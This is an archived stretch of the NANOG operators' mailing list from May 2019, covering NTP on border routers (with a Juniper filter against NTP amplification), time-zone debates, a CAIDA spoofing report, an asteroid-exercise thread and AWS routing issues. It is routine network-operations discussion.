family inet address <*>”; > On May 8, 2019, at 7:22 AM, Vincent Bernat wrote: > > ❦ 8 mai 2019 09:56 +02, Lars Prehn : > >> do you NTP sync your AS boundary routers? If so, what are incentives >> for doing so? Are there incentives, e.g. security considerations, not >> to do it? > > Ensure you have a firewall rule in place to prevent people to use your > router for NTP amplification. NTP clients are also servers. On Juniper > devices: > > policy-options { > prefix-list ntp-servers { > apply-path "system ntp server <*>"; > } > } > firewall { > /* ... */ > term accept-ntp { > from { > source-prefix-list { > ntp-servers; > } > protocol udp; > port ntp; > } > then { > policer management-1m; > accept; > } > } > } > > (see > > for more details). > -- > Keep it simple to make it faster. > - The Elements of Programming Style (Kernighan & Plauger) From morrowc.lists at gmail.com Wed May 8 14:34:34 2019 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Wed, 8 May 2019 10:34:34 -0400 Subject: NTP for ASBRs? In-Reply-To: <20190508123743.GS10554@hanna.meerval.net> References: <4bb4f9b8-4194-6fe2-956d-4e60732f0ee3@mpi-inf.mpg.de> <20190508123743.GS10554@hanna.meerval.net> Message-ID: On Wed, May 8, 2019 at 8:38 AM Job Snijders wrote: > > Dear Lars, > > On Wed, May 08, 2019 at 09:56:33AM +0200, Lars Prehn wrote: > > do you NTP sync your AS boundary routers? > > yes > > > If so, what are incentives for doing so? Are there incentives, e.g. > > security considerations, not to do it? > > The major advantage of NTP syncing your routers is that it allows you to > more effectively correlate any log messages that these devices emit to > log messages other devices generated. Note that if you step into the wonderful world of streaming telemetry you MAY need to worry about certificate validation and time becomes important for that. Similarly any other usages of certificates on the devices will bring with it a stricter time regime. From bill at herrin.us Wed May 8 14:39:29 2019 From: bill at herrin.us (William Herrin) Date: Wed, 8 May 2019 07:39:29 -0700 Subject: EXERCISE: 2019 IAA Planetary Defence Conference - Day 5 Scenario In-Reply-To: References: Message-ID: On Tue, May 7, 2019 at 11:20 AM Sean Donelan wrote: > The scenario was chosen to stress the partcipants, not an actual asteroid > impact. It was a fictional scenario. This was only an exercise. > > 60 meter asteroid impact in New York City, NY (roughly Central Park, NYC) > So what happened? Where's the post-game? You guys had 8 years to stop the thing. Why is there a big hole in Manhattan? And with 10 days warning at the very end, why did any critical Internet operations remain active in NYC? Regards, Bill -- William Herrin ................ herrin at dirtside.com bill at herrin.us Dirtside Systems ......... Web: -------------- next part -------------- An HTML attachment was scrubbed... URL: From james.voip at gmail.com Wed May 8 14:48:39 2019 From: james.voip at gmail.com (james jones) Date: Wed, 8 May 2019 10:48:39 -0400 Subject: EXERCISE: 2019 IAA Planetary Defence Conference - Day 5 Scenario In-Reply-To: References: Message-ID: Did anyone trying calling Bruce Willis? On Wed, May 8, 2019 at 10:41 AM William Herrin wrote: > On Tue, May 7, 2019 at 11:20 AM Sean Donelan wrote: > >> The scenario was chosen to stress the partcipants, not an actual asteroid >> impact. It was a fictional scenario. This was only an exercise. >> >> 60 meter asteroid impact in New York City, NY (roughly Central Park, NYC) >> > > So what happened? Where's the post-game? You guys had 8 years to stop the > thing. Why is there a big hole in Manhattan? And with 10 days warning at > the very end, why did any critical Internet operations remain active in NYC? > > Regards, > Bill > > > -- > William Herrin ................ herrin at dirtside.com bill at herrin.us > Dirtside Systems ......... Web: > -------------- next part -------------- An HTML attachment was scrubbed... URL: From mark.tinka at seacom.mu Wed May 8 15:44:47 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Wed, 8 May 2019 17:44:47 +0200 Subject: NTP for ASBRs? In-Reply-To: <4bb4f9b8-4194-6fe2-956d-4e60732f0ee3@mpi-inf.mpg.de> References: <4bb4f9b8-4194-6fe2-956d-4e60732f0ee3@mpi-inf.mpg.de> Message-ID: <67d6034d-5fba-4140-218a-5a45c7df2ccb@seacom.mu> On 8/May/19 09:56, Lars Prehn wrote: > Hi everyone, > > do you NTP sync your AS boundary routers? If so, what are incentives > for doing so? Are there incentives, e.g. security considerations, not > to do it? Yes. There are probably a lot of technical reasons you will receive from folk, but ultimately, if you can get all your devices in sync. re: time, simply, why not? Mark. From mark.tinka at seacom.mu Wed May 8 15:46:02 2019 From: mark.tinka at seacom.mu (Mark Tinka) Date: Wed, 8 May 2019 17:46:02 +0200 Subject: NTP for ASBRs? In-Reply-To: <87mujxc9ge.fsf@luffy.cx> References: <4bb4f9b8-4194-6fe2-956d-4e60732f0ee3@mpi-inf.mpg.de> <87mujxc9ge.fsf@luffy.cx> Message-ID: On 8/May/19 16:22, Vincent Bernat wrote: > Ensure you have a firewall rule in place to prevent people to use your > router for NTP amplification. NTP clients are also servers. On Juniper > devices: Yep, that's a nasty little situation in Junos that took me a week to figure out back in the day :-). Mark. From jtk at depaul.edu Wed May 8 16:17:11 2019 From: jtk at depaul.edu (John Kristoff) Date: Wed, 8 May 2019 11:17:11 -0500 Subject: NTP for ASBRs? In-Reply-To: References: Message-ID: <20190508111711.447da8ab@p50.localdomain> On Wed, 8 May 2019 07:56:33 +0000 Lars Prehn wrote: > do you NTP sync your AS boundary routers? If so, what are incentives for > doing so? Are there incentives, e.g. security considerations, not to do it? In addition to what others have mentioned, if these systems are to perform route origin validation (ROV), an accurate notion of time would be desirable. From section 6 in IETF RFC 7115 / BCP 185 - Origin Validation Operation Based on the Resource Public Key Infrastructure (RPKI): As a router must evaluate certificates and ROAs that are time dependent, routers' clocks MUST be correct to a tolerance of approximately an hour. John From adamv0025 at netconsultings.com Wed May 8 16:25:06 2019 From: adamv0025 at netconsultings.com (adamv0025 at netconsultings.com) Date: Wed, 8 May 2019 17:25:06 +0100 Subject: NTP for ASBRs? In-Reply-To: <87mujxc9ge.fsf@luffy.cx> References: <4bb4f9b8-4194-6fe2-956d-4e60732f0ee3@mpi-inf.mpg.de> <87mujxc9ge.fsf@luffy.cx> Message-ID: <01dc01d505ba$993c9d00$cbb5d700$@netconsultings.com> > Vincent Bernat > Sent: Wednesday, May 8, 2019 3:22 PM > > ❦ 8 mai 2019 09:56 +02, Lars Prehn : > > > do you NTP sync your AS boundary routers? If so, what are incentives > > for doing so? Are there incentives, e.g. security considerations, not > > to do it? > > Ensure you have a firewall rule in place to prevent people to use your router > for NTP amplification. NTP clients are also servers. On Juniper > devices: > > policy-options { > prefix-list ntp-servers { > apply-path "system ntp server <*>"; > } > } > firewall { > /* ... */ > term accept-ntp { > from { > source-prefix-list { > ntp-servers; > } > protocol udp; > port ntp; > } > then { > policer management-1m; > accept; > } > } > } > > (see > ecuring_RouteEngine_v2.pdf> > for more details). > -- You mean in addition to iACLs allowing only BGP and ICMP to your "infrastructure" IP address block(s) right? ;) adam From spoofer-info at caida.org Wed May 8 17:00:05 2019 From: spoofer-info at caida.org (CAIDA Spoofer Project) Date: Wed, 8 May 2019 10:00:05 -0700 Subject: Spoofer Report for NANOG for Apr 2019 Message-ID: <201905081700.x48H05QM062933@fro.caida.org> In response to feedback from operational security communities, CAIDA's source address validation measurement project (https://spoofer.caida.org) is automatically generating monthly reports of ASes originating prefixes in BGP for systems from which we received packets with a spoofed source address. We are publishing these reports to network and security operations lists in order to ensure this information reaches operational contacts in these ASes. This report summarises tests conducted within usa, can. Inferred improvements during Apr 2019: ASN Name Fixed-By 53597 HOYOS-CONSULTING-LLC 2019-04-09 2828 XO-AS15 2019-04-10 33523 ROWANUNIVERSITY 2019-04-24 Further information for the inferred remediation is available at: https://spoofer.caida.org/remedy.php Source Address Validation issues inferred during Apr 2019: ASN Name First-Spoofed Last-Spoofed 6939 HURRICANE 2016-02-22 2019-04-04 5650 FRONTIER-FRTR 2016-02-22 2019-04-15 7029 WINDSTREAM 2016-06-21 2019-04-06 209 CENTURYLINK-US-LEGACY-QWEST 2016-08-16 2019-04-30 6128 CABLE-NET-1 2016-09-03 2019-04-11 20412 CLARITY-TELECOM 2016-09-30 2019-04-27 6181 FUSE-NET 2016-10-10 2019-04-30 25787 ROWE-NETWORKS 2016-10-21 2019-04-27 174 COGENT-174 2016-10-21 2019-04-02 30341 SCTA-ASN 2016-10-31 2019-04-16 32440 LONI 2016-11-03 2019-04-24 12083 WOW-INTERNET 2016-11-09 2019-04-25 13427 SOFTCOM-INTERNET-COMMUNICATION 2016-11-14 2019-04-30 21832 KELLINCOM-1 2017-02-03 2019-04-29 18451 LESNET 2017-02-22 2019-04-05 36007 KAMATERA 2017-04-21 2019-04-26 19624 SERVERROOM 2017-06-02 2019-04-30 6461 ZAYO-6461 2017-06-21 2019-04-15 63296 AMARILLO-WIRELESS 2017-09-01 2019-04-25 33523 ROWANUNIVERSITY 2017-10-29 2019-04-17 12222 AKAMAI 2018-02-14 2019-04-26 4201 ORST 2018-04-19 2019-04-30 393564 SPOKANE 2018-06-05 2019-04-17 225 VIRGINIA 2018-06-18 2019-04-26 40911 L2NC 2018-08-31 2019-04-24 33452 RW 2018-09-19 2019-04-11 20448 VPNTRANET-LLC 2018-09-20 2019-04-10 11215 LOGIXCOMM 2018-09-20 2019-04-02 11996 LOBOIS 2018-09-24 2019-04-02 13825 TROYCABLE-NET 2018-11-21 2019-04-11 393437 KLAYER 2018-12-21 2019-04-27 62957 HOSPITALITY-NETWORK 2018-12-30 2019-04-06 63275 RADIOWIRE 2019-02-07 2019-04-29 19531 NODESDIRECT 2019-03-14 2019-04-25 11297 LIPSCOMB 2019-03-29 2019-04-12 14813 BB-COLUMBUS 2019-04-08 2019-04-11 15290 ALLST-15290 2019-04-09 2019-04-10 8047 GCI 2019-04-11 2019-04-30 10745 ARIN-ASH-CHA 2019-04-29 2019-04-29 Further information for these tests where we received spoofed packets is available at: https://spoofer.caida.org/recent_tests.php?country_include=usa,can&no_block=1 Please send any feedback or suggestions to spoofer-info at caida.org From crice at broadaspect.com Wed May 8 14:55:53 2019 From: crice at broadaspect.com (Curt Rice) Date: Wed, 8 May 2019 14:55:53 +0000 Subject: Routing issues to AWS environment. Message-ID: Hi are there any AWS engineers out there? We are seeing routing problems between NTT and AWS in Ashburn, Va and would like to find out which side is having the problem. Thanks, Curt -------------- next part -------------- An HTML attachment was scrubbed... URL: From john at essenz.com Wed May 8 20:54:36 2019 From: john at essenz.com (John Von Essen) Date: Wed, 8 May 2019 16:54:36 -0400 Subject: Routing issues to AWS environment. In-Reply-To: References: Message-ID: <5A8502DC-7898-45C6-B5C2-A2080C7F2163@essenz.com> I was just about to email the group for a related issue. We are also seeing some funky routing/peering within the AWS network. We primarily communicate with Verizon Media/Oath - AS10310. Verizon Media has a presence in Singapore, and its peered locally with AWS AS38895 - we normally see 8ms latency. Verizon Media also peers with AWS AS16509 in Japan, but for Singapore traffic, Verizon Media sends a lower MED so AWS Singapore should prefer that route/peer, but its not working properly on the AWS side, all of our traffic is going to Japan, this started early AM today. I had Verizon Media investigate, and we gave them our AWS Singapore IP addresses, they confirmed that they are not receiving those prefixes/announcements from AWS Singapore (AS38895). So something is broke…. hopefully if someone from AWS is reading they can escalate. In my case, the AWS Singapore IP ranges in question are : 46.51.216.0/21 and 52.74.0.0/16 -John > On May 8, 2019, at 10:55 AM, Curt Rice wrote: > > Hi are there any AWS engineers out there? We are seeing routing problems between NTT and AWS in Ashburn, Va and would like to find out which side is having the problem. > > Thanks, > Curt -------------- next part -------------- An HTML attachment was scrubbed... URL: From surfer at mauigateway.com Wed May 8 21:00:11 2019 From: surfer at mauigateway.com (Scott Weeks) Date: Wed, 8 May 2019 14:00:11 -0700 Subject: NTP for ASBRs? Message-ID: <20190508140011.7F1FE709@m0117458.ppops.net> --- job at ntt.net wrote: From: Job Snijders on this topic, i strongly recommend to operate all devices in the Etc/UTC timezone, this makes coordination with external entities much easier. ---------------------------------------- Yes, this! Holy crap I come upon a lot of networks that don't do this and it's always painful. scott From markr at signal100.com Wed May 8 23:03:31 2019 From: markr at signal100.com (Mark Rousell) Date: Thu, 9 May 2019 00:03:31 +0100 Subject: EXERCISE: 2019 IAA Planetary Defence Conference - Day 5 Scenario In-Reply-To: References: <6e80c526-b2e0-ddc2-37cf-e6cb83573b93@foobar.org> Message-ID: <5CD36043.3090803@signal100.com> On 08/05/2019 02:44, Sean Donelan wrote: > Of course, any fictional scenario is more likely to hit an ocean or > miss the planet. But that makes for a dull exercise. An ocean impact needn't be boring. It would potentially create megatsunamis over a possibly wide area on multiple coasts. Even cities away from coasts but on rivers could be affected. A large ocean impactor could even damage undersea cables. -- Mark Rousell -------------- next part -------------- An HTML attachment was scrubbed... URL: From bryan at shout.net Wed May 8 23:22:18 2019 From: bryan at shout.net (Bryan Holloway) Date: Wed, 8 May 2019 18:22:18 -0500 Subject: NTP for ASBRs? In-Reply-To: <20190508140011.7F1FE709@m0117458.ppops.net> References: <20190508140011.7F1FE709@m0117458.ppops.net> Message-ID: On 5/8/19 4:00 PM, Scott Weeks wrote: > > > --- job at ntt.net wrote: > From: Job Snijders > > on this topic, i strongly recommend to operate all > devices in the Etc/UTC timezone, this makes > coordination with external entities much easier. > ---------------------------------------- > > > Yes, this! Holy crap I come upon a lot of networks > that don't do this and it's always painful. > > scott > Now if only we could get rid of Daylight Saving Time ... From surfer at mauigateway.com Wed May 8 23:54:50 2019 From: surfer at mauigateway.com (Scott Weeks) Date: Wed, 8 May 2019 16:54:50 -0700 Subject: NTP for ASBRs? Message-ID: <20190508165450.7F1FDD97@m0117458.ppops.net> --- bryan at shout.net wrote: From: Bryan Holloway On 5/8/19 4:00 PM, Scott Weeks wrote: > --- job at ntt.net wrote: > From: Job Snijders > > on this topic, i strongly recommend to operate all > devices in the Etc/UTC timezone, this makes > coordination with external entities much easier. > ---------------------------------------- > > > Yes, this! Holy crap I come upon a lot of networks > that don't do this and it's always painful. Now if only we could get rid of Daylight Saving Time ... ------------------------------------------ Luckily, Hawaii doesn't have that problem... https://en.wikipedia.org/wiki/Daylight_saving_time_in_the_United_States#Hawaii But, that's the thing. One time. No trying to figure out who does DST and who doesn't. >From the above: =========================================== Arizona has not observed DST since 1967 Calif - in 2018, voters ratified a legislative plan for year-round daylight saving time, subject to congressional approval. On March 6, 2018, the Florida Senate approved the "Sunshine Protection Act" which would put Florida on permanent Daylight Saving Time year round...Congress would need to amend the existing 1966 federal law to allow the change. Hawaii has never observed daylight saving time ============================================ etc... scott From jhellenthal at dataix.net Thu May 9 00:24:20 2019 From: jhellenthal at dataix.net (J. Hellenthal) Date: Wed, 8 May 2019 19:24:20 -0500 Subject: EXERCISE: 2019 IAA Planetary Defence Conference - Day 5 Scenario In-Reply-To: <5CD36043.3090803@signal100.com> References: <6e80c526-b2e0-ddc2-37cf-e6cb83573b93@foobar.org> <5CD36043.3090803@signal100.com> Message-ID: To sum it all up... if and when ... I doubt we will worry about the internet. Food, Water, shelter and ammunition’s || that’s all else if anyone could possibly make it through. #ProblemSolved -- J. Hellenthal The fact that there's a highway to Hell but only a stairway to Heaven says a lot about anticipated traffic volume. > On May 8, 2019, at 18:03, Mark Rousell wrote: > >> On 08/05/2019 02:44, Sean Donelan wrote: >> Of course, any fictional scenario is more likely to hit an ocean or miss the planet. But that makes for a dull exercise. > > An ocean impact needn't be boring. It would potentially create megatsunamis over a possibly wide area on multiple coasts. Even cities away from coasts but on rivers could be affected. > > A large ocean impactor could even damage undersea cables. > > -- > Mark Rousell -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 2357 bytes Desc: not available URL: From bryan at shout.net Thu May 9 00:47:56 2019 From: bryan at shout.net (Bryan Holloway) Date: Wed, 8 May 2019 19:47:56 -0500 Subject: NTP for ASBRs? In-Reply-To: <20190508165450.7F1FDD97@m0117458.ppops.net> References: <20190508165450.7F1FDD97@m0117458.ppops.net> Message-ID: On 5/8/19 6:54 PM, Scott Weeks wrote: > > > --- bryan at shout.net wrote: > From: Bryan Holloway > On 5/8/19 4:00 PM, Scott Weeks wrote: >> --- job at ntt.net wrote: >> From: Job Snijders >> >> on this topic, i strongly recommend to operate all >> devices in the Etc/UTC timezone, this makes >> coordination with external entities much easier. >> ---------------------------------------- >> >> >> Yes, this! Holy crap I come upon a lot of networks >> that don't do this and it's always painful. > > Now if only we could get rid of Daylight Saving Time ... > ------------------------------------------ > > Luckily, Hawaii doesn't have that problem... > > https://en.wikipedia.org/wiki/Daylight_saving_time_in_the_United_States#Hawaii > > But, that's the thing. One time. No trying to figure > out who does DST and who doesn't. 100% true. But there is also a practical side to this ... When a NOC-ling, in their own local timezone, says, "hey, what happened two hours ago?", they have to make a calculation. And that calculation annoyingly depends on the time of year in many if not most locales worldwide. And to make matters worse, some folks change at different times of the year, so, if you're a global network ............ Hawai'i and Arizona can add/subtract without looking at the damn calendar. I'm just sayin' I'd like to see more of that. From Brian at ampr.org Thu May 9 00:55:08 2019 From: Brian at ampr.org (Brian Kantor) Date: Wed, 8 May 2019 17:55:08 -0700 Subject: NTP for ASBRs? In-Reply-To: References: <20190508165450.7F1FDD97@m0117458.ppops.net> Message-ID: <20190509005508.GB30181@meow.BKantor.net> On Wed, May 08, 2019 at 07:47:56PM -0500, Bryan Holloway wrote: > 100% true. But there is also a practical side to this ... > > When a NOC-ling, in their own local timezone, says, "hey, what happened > two hours ago?", they have to make a calculation. And that calculation > annoyingly depends on the time of year in many if not most locales > worldwide. And to make matters worse, some folks change at different > times of the year, so, if you're a global network ............ > > Hawai'i and Arizona can add/subtract without looking at the damn > calendar. I'm just sayin' I'd like to see more of that. Clocks are cheap. I have two on the wall; one is local time and the other is marked GMT. - Brian From valdis.kletnieks at vt.edu Thu May 9 01:41:32 2019 From: valdis.kletnieks at vt.edu (Valdis Kl=?utf-8?Q?=c4=93?=tnieks) Date: Wed, 08 May 2019 21:41:32 -0400 Subject: NTP for ASBRs? In-Reply-To: <20190508140011.7F1FE709@m0117458.ppops.net> References: <20190508140011.7F1FE709@m0117458.ppops.net> Message-ID: <3889.1557366092@turing-police> On Wed, 08 May 2019 14:00:11 -0700, "Scott Weeks" said: > From: Job Snijders > > on this topic, i strongly recommend to operate all > devices in the Etc/UTC timezone, this makes > coordination with external entities much easier. > ---------------------------------------- > > > Yes, this! Holy crap I come upon a lot of networks > that don't do this and it's always painful. Newfoundland time, anybody? :) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 832 bytes Desc: not available URL: From surfer at mauigateway.com Thu May 9 01:51:07 2019 From: surfer at mauigateway.com (Scott Weeks) Date: Wed, 8 May 2019 18:51:07 -0700 Subject: NTP for ASBRs? Message-ID: <20190508185107.7F1FD324@m0117458.ppops.net> --- valdis.kletnieks at vt.edu wrote: From: "Valdis Klētnieks" On Wed, 08 May 2019 14:00:11 -0700, "Scott Weeks" said: > From: Job Snijders > > on this topic, i strongly recommend to operate all > devices in the Etc/UTC timezone, this makes > coordination with external entities much easier. > ---------------------------------------- > > > Yes, this! Holy crap I come upon a lot of networks > that don't do this and it's always painful. Newfoundland time, anybody? :) ------------------------------------ I had to go and look that up: "The Newfoundland Time Zone (NT) is a geographic region that keeps time by subtracting ​3 1⁄2 hours from Coordinated Universal Time (UTC) during standard time, resulting in UTC−03:30; or subtracting ​ 2 1⁄2 hours during daylight saving time." WTF??? This is exactly what I mean on a geographicly dispersed network. Do everything UTC and put clocks on your computer/wall/phone/whatever. Then, like Job said, it's easier to coordinate with others not in your timezone. scott From rsk at gsp.org Thu May 9 01:52:05 2019 From: rsk at gsp.org (Rich Kulawiec) Date: Wed, 8 May 2019 21:52:05 -0400 Subject: EXERCISE: 2019 IAA Planetary Defence Conference - Day 5 Scenario In-Reply-To: References: <6e80c526-b2e0-ddc2-37cf-e6cb83573b93@foobar.org> Message-ID: <20190509015205.GA32677@gsp.org> On Wed, May 08, 2019 at 10:11:10AM -0400, Sean Donelan wrote: > Many exercise designers could use help coming up with useful Internet > disaster sub-plots. Bad enough to inject stress into the exercise, but not > extinction. > > All ISP tech support agents are infected, and become brain eating zombies. We call that "Tuesday". ---rsk p.s. On a more serious note, disaster exercises that include partial failures of emergency response infrastructure are often quite challenging. As I write this, the IT infrastructure of Baltimore is down due to a ransomware attack. As a consequence, while 911 is functional, fire department computers are down. If a significant event requiring BCFD happened tonight, it would be challenging for them to coordinate a large-scale response. From morrowc.lists at gmail.com Thu May 9 02:27:30 2019 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Wed, 8 May 2019 22:27:30 -0400 Subject: NTP for ASBRs? In-Reply-To: <3889.1557366092@turing-police> References: <20190508140011.7F1FE709@m0117458.ppops.net> <3889.1557366092@turing-police> Message-ID: On Wed, May 8, 2019 at 9:42 PM Valdis Klētnieks wrote: > > > Newfoundland time, anybody? :) > isn't the point: "Pick one for all of your things, stick to that one thing" it's find if you pick central indiana time, if you are setting the same everywhere and keeping it update properly...AND you agree that when I send you central Fiji time you'll silently convert =57 hrs and understand that we're talking about the same slice of time. UTC is nice EST is nice PDT is nice.. pick one, deal with the eccentricities of that decision without foisting your religion on the rest of me. :) Also, PLEASE use a constant / automatic time source that's available world-wide (like NTP). -chris From randy at psg.com Thu May 9 03:07:36 2019 From: randy at psg.com (Randy Bush) Date: Wed, 08 May 2019 20:07:36 -0700 Subject: NTP for ASBRs? In-Reply-To: References: <20190508140011.7F1FE709@m0117458.ppops.net> <3889.1557366092@turing-police> Message-ID: > isn't the point: "Pick one for all of your things, stick to that one > thing" it's find if you pick central indiana time, if you are setting > the same everywhere and keeping it update properly i find the time zone they choose says a lot about an operation. can be a flag of parochialism. randy From bryan at shout.net Thu May 9 03:15:13 2019 From: bryan at shout.net (Bryan Holloway) Date: Wed, 8 May 2019 22:15:13 -0500 Subject: NTP for ASBRs? In-Reply-To: <20190509005508.GB30181@meow.BKantor.net> References: <20190508165450.7F1FDD97@m0117458.ppops.net> <20190509005508.GB30181@meow.BKantor.net> Message-ID: On 5/8/19 7:55 PM, Brian Kantor wrote: > On Wed, May 08, 2019 at 07:47:56PM -0500, Bryan Holloway wrote: >> 100% true. But there is also a practical side to this ... >> >> When a NOC-ling, in their own local timezone, says, "hey, what happened >> two hours ago?", they have to make a calculation. And that calculation >> annoyingly depends on the time of year in many if not most locales >> worldwide. And to make matters worse, some folks change at different >> times of the year, so, if you're a global network ............ >> >> Hawai'i and Arizona can add/subtract without looking at the damn >> calendar. I'm just sayin' I'd like to see more of that. > > Clocks are cheap. I have two on the wall; one is local time and > the other is marked GMT. > - Brian Cheap != free. Many clocks have to be set after a DST change. Clocks that do this automatically are > cheap. I stand by my point. Disclaimer: I have two clocks. From bryan at shout.net Thu May 9 03:23:44 2019 From: bryan at shout.net (Bryan Holloway) Date: Wed, 8 May 2019 22:23:44 -0500 Subject: NTP for ASBRs? In-Reply-To: References: <20190508165450.7F1FDD97@m0117458.ppops.net> <20190509005508.GB30181@meow.BKantor.net> Message-ID: On 5/8/19 10:15 PM, Bryan Holloway wrote: > > > On 5/8/19 7:55 PM, Brian Kantor wrote: >> On Wed, May 08, 2019 at 07:47:56PM -0500, Bryan Holloway wrote: >>> 100% true. But there is also a practical side to this ... >>> >>> When a NOC-ling, in their own local timezone, says, "hey, what happened >>> two hours ago?", they have to make a calculation. And that calculation >>> annoyingly depends on the time of year in many if not most locales >>> worldwide. And to make matters worse, some folks change at different >>> times of the year, so, if you're a global network ............ >>> >>> Hawai'i and Arizona can add/subtract without looking at the damn >>> calendar. I'm just sayin' I'd like to see more of that. >> >> Clocks are cheap. I have two on the wall; one is local time and >> the other is marked GMT. >>     - Brian > > Cheap != free. Many clocks have to be set after a DST change. Clocks > that do this automatically are > cheap. > > I stand by my point. > > Disclaimer: I have two clocks. And furthermore, GMT != UTC. From royce at techsolvency.com Thu May 9 03:39:59 2019 From: royce at techsolvency.com (Royce Williams) Date: Wed, 8 May 2019 19:39:59 -0800 Subject: NTP for ASBRs? In-Reply-To: References: <20190508165450.7F1FDD97@m0117458.ppops.net> <20190509005508.GB30181@meow.BKantor.net> Message-ID: On Wed, May 8, 2019 at 7:16 PM Bryan Holloway wrote: > On 5/8/19 7:55 PM, Brian Kantor wrote: > > On Wed, May 08, 2019 at 07:47:56PM -0500, Bryan Holloway wrote: > >> 100% true. But there is also a practical side to this ... > >> > >> When a NOC-ling, in their own local timezone, says, "hey, what happened > >> two hours ago?", they have to make a calculation. And that calculation > >> annoyingly depends on the time of year in many if not most locales > >> worldwide. And to make matters worse, some folks change at different > >> times of the year, so, if you're a global network ............ > >> > >> Hawai'i and Arizona can add/subtract without looking at the damn > >> calendar. I'm just sayin' I'd like to see more of that. > > > > Clocks are cheap. I have two on the wall; one is local time and > > the other is marked GMT. > > - Brian > > Cheap != free. Many clocks have to be set after a DST change. Clocks > that do this automatically are > cheap. > > I stand by my point. > > Disclaimer: I have two clocks. > Assuming that WWVB will persist (a medium-sized assumption) ... The La Crosse 404-1235UA-SS UltrAtomic (not affiliated, just a fan) tracks DST - and even leap seconds. They have much better reach than previous similar clocks. Mine work during daytime deep inside buildings in Alaska, far outside the traditional WWVB reach. They're also also simple and legible, which could make them a good NOC choice. Local timezone is adjustable, so you could easily run one on local time and one on UTC. They also change their hand positions to indicate low-battery status. Not cheap, but not too bad - price hovers around US$48-$52. Big fan. Royce -------------- next part -------------- An HTML attachment was scrubbed... URL: From cma at cmadams.net Thu May 9 03:53:57 2019 From: cma at cmadams.net (Chris Adams) Date: Wed, 8 May 2019 22:53:57 -0500 Subject: NTP for ASBRs? In-Reply-To: References: <20190508165450.7F1FDD97@m0117458.ppops.net> <20190509005508.GB30181@meow.BKantor.net> Message-ID: <20190509035357.GB8167@cmadams.net> Once upon a time, Royce Williams said: > The La Crosse 404-1235UA-SS UltrAtomic (not affiliated, just a fan) tracks > DST - and even leap seconds. They have much better reach than previous > similar clocks. Looks like somebody finally brought a clock to market that uses the new-format phase-modulated signal. Hopefully there'll be more, but with the WWVB funding threats, I wouldn't be surprised if companies don't want to invest in any new products that use it. -- Chris Adams From nanog at radu-adrian.feurdean.net Thu May 9 05:40:43 2019 From: nanog at radu-adrian.feurdean.net (Radu-Adrian Feurdean) Date: Thu, 09 May 2019 01:40:43 -0400 Subject: NTP for ASBRs? In-Reply-To: <4bb4f9b8-4194-6fe2-956d-4e60732f0ee3@mpi-inf.mpg.de> References: <4bb4f9b8-4194-6fe2-956d-4e60732f0ee3@mpi-inf.mpg.de> Message-ID: On Wed, May 8, 2019, at 14:21, Lars Prehn wrote: > Hi everyone, > > do you NTP sync your AS boundary routers? If so, what are incentives for > doing so? Are there incentives, e.g. security considerations, not to do it? Hi, We (and I suppose a lot of others) do sync the border routers like any other network device : to our internal NTP servers that are in their turn synchronized to other time source. I don't see a reason to treat them differently. From esr at thyrsus.com Thu May 9 07:10:42 2019 From: esr at thyrsus.com (Eric S. Raymond) Date: Thu, 9 May 2019 03:10:42 -0400 Subject: NTP for ASBRs? In-Reply-To: <20190509035357.GB8167@cmadams.net> References: <20190508165450.7F1FDD97@m0117458.ppops.net> <20190509005508.GB30181@meow.BKantor.net> <20190509035357.GB8167@cmadams.net> Message-ID: <20190509071042.GA1375@thyrsus.com> Chris Adams : > Once upon a time, Royce Williams said: > > The La Crosse 404-1235UA-SS UltrAtomic (not affiliated, just a fan) tracks > > DST - and even leap seconds. They have much better reach than previous > > similar clocks. > > Looks like somebody finally brought a clock to market that uses the > new-format phase-modulated signal. Hopefully there'll be more, but with > the WWVB funding threats, I wouldn't be surprised if companies don't > want to invest in any new products that use it. Interesting - first device I've heard of that uses the new-format fine modulation, and as NTPsec's tech lead I keep as close an eye on such developments as anybody. Before this I had thought that a combination of clock vendors feeling burned by the modulation change and cheap GPSes entirely killed the market for devices that can get high-precision time from WWBV. Anybody know of anything fitting that description that you might want to deploy in a data center as a Stratum 1? If such a creature exists I shall contrive to get my lunch hooks on one and write a driver for it. -- Eric S. Raymond From royce at techsolvency.com Thu May 9 07:23:18 2019 From: royce at techsolvency.com (Royce Williams) Date: Wed, 8 May 2019 23:23:18 -0800 Subject: NTP for ASBRs? In-Reply-To: <20190509071042.GA1375@thyrsus.com> References: <20190508165450.7F1FDD97@m0117458.ppops.net> <20190509005508.GB30181@meow.BKantor.net> <20190509035357.GB8167@cmadams.net> <20190509071042.GA1375@thyrsus.com> Message-ID: On Wed, May 8, 2019 at 11:12 PM Eric S. Raymond wrote: > Chris Adams : > > Once upon a time, Royce Williams said: > > > The La Crosse 404-1235UA-SS UltrAtomic (not affiliated, just a fan) > tracks > > > DST - and even leap seconds. They have much better reach than previous > > > similar clocks. > > > > Looks like somebody finally brought a clock to market that uses the > > new-format phase-modulated signal. Hopefully there'll be more, but with > > the WWVB funding threats, I wouldn't be surprised if companies don't > > want to invest in any new products that use it. > > Interesting - first device I've heard of that uses the new-format > fine modulation, and as NTPsec's tech lead I keep as close an eye on such > developments as anybody. > > Before this I had thought that a combination of clock vendors feeling > burned by > the modulation change and cheap GPSes entirely killed the market for > devices that > can get high-precision time from WWBV. > > Anybody know of anything fitting that description that you might want > to deploy in a data center as a Stratum 1? If such a creature exists I > shall > contrive to get my lunch hooks on one and write a driver for it. That would be fantastic. I mentioned it on Freenode when it first came out - but it may have escaped your attention. :) An eBay search for "EverSet ES100 WWVB BPSK Phase Modulation Receiver Kit" should prove fruitful. I have one - but I haven't had time to tinker with it yet. The kit comes with the double-antenna setup that appears to be key to the improved reception. In the clocks, the antennas are at 90 degrees relative to each other. Royce -------------- next part -------------- An HTML attachment was scrubbed... URL: From chuckchurch at gmail.com Thu May 9 10:34:21 2019 From: chuckchurch at gmail.com (Chuck Church) Date: Thu, 9 May 2019 06:34:21 -0400 Subject: Routing issues to AWS environment. In-Reply-To: References: Message-ID: <01b301d50652$c3f75970$4be60c50$@gmail.com> Are you sure the problem isn’t NTT? My buddy’s WISP peers with Spirit and had a boatload of problems with random packet loss affecting initially just SIP and RTP (both UDP). Spirit was blaming NTT. Problems went away when Spirit stopped peering with NTT yesterday. Path is through Telia now to their main SIP trunk provider. chuck From: NANOG On Behalf Of Curt Rice Sent: 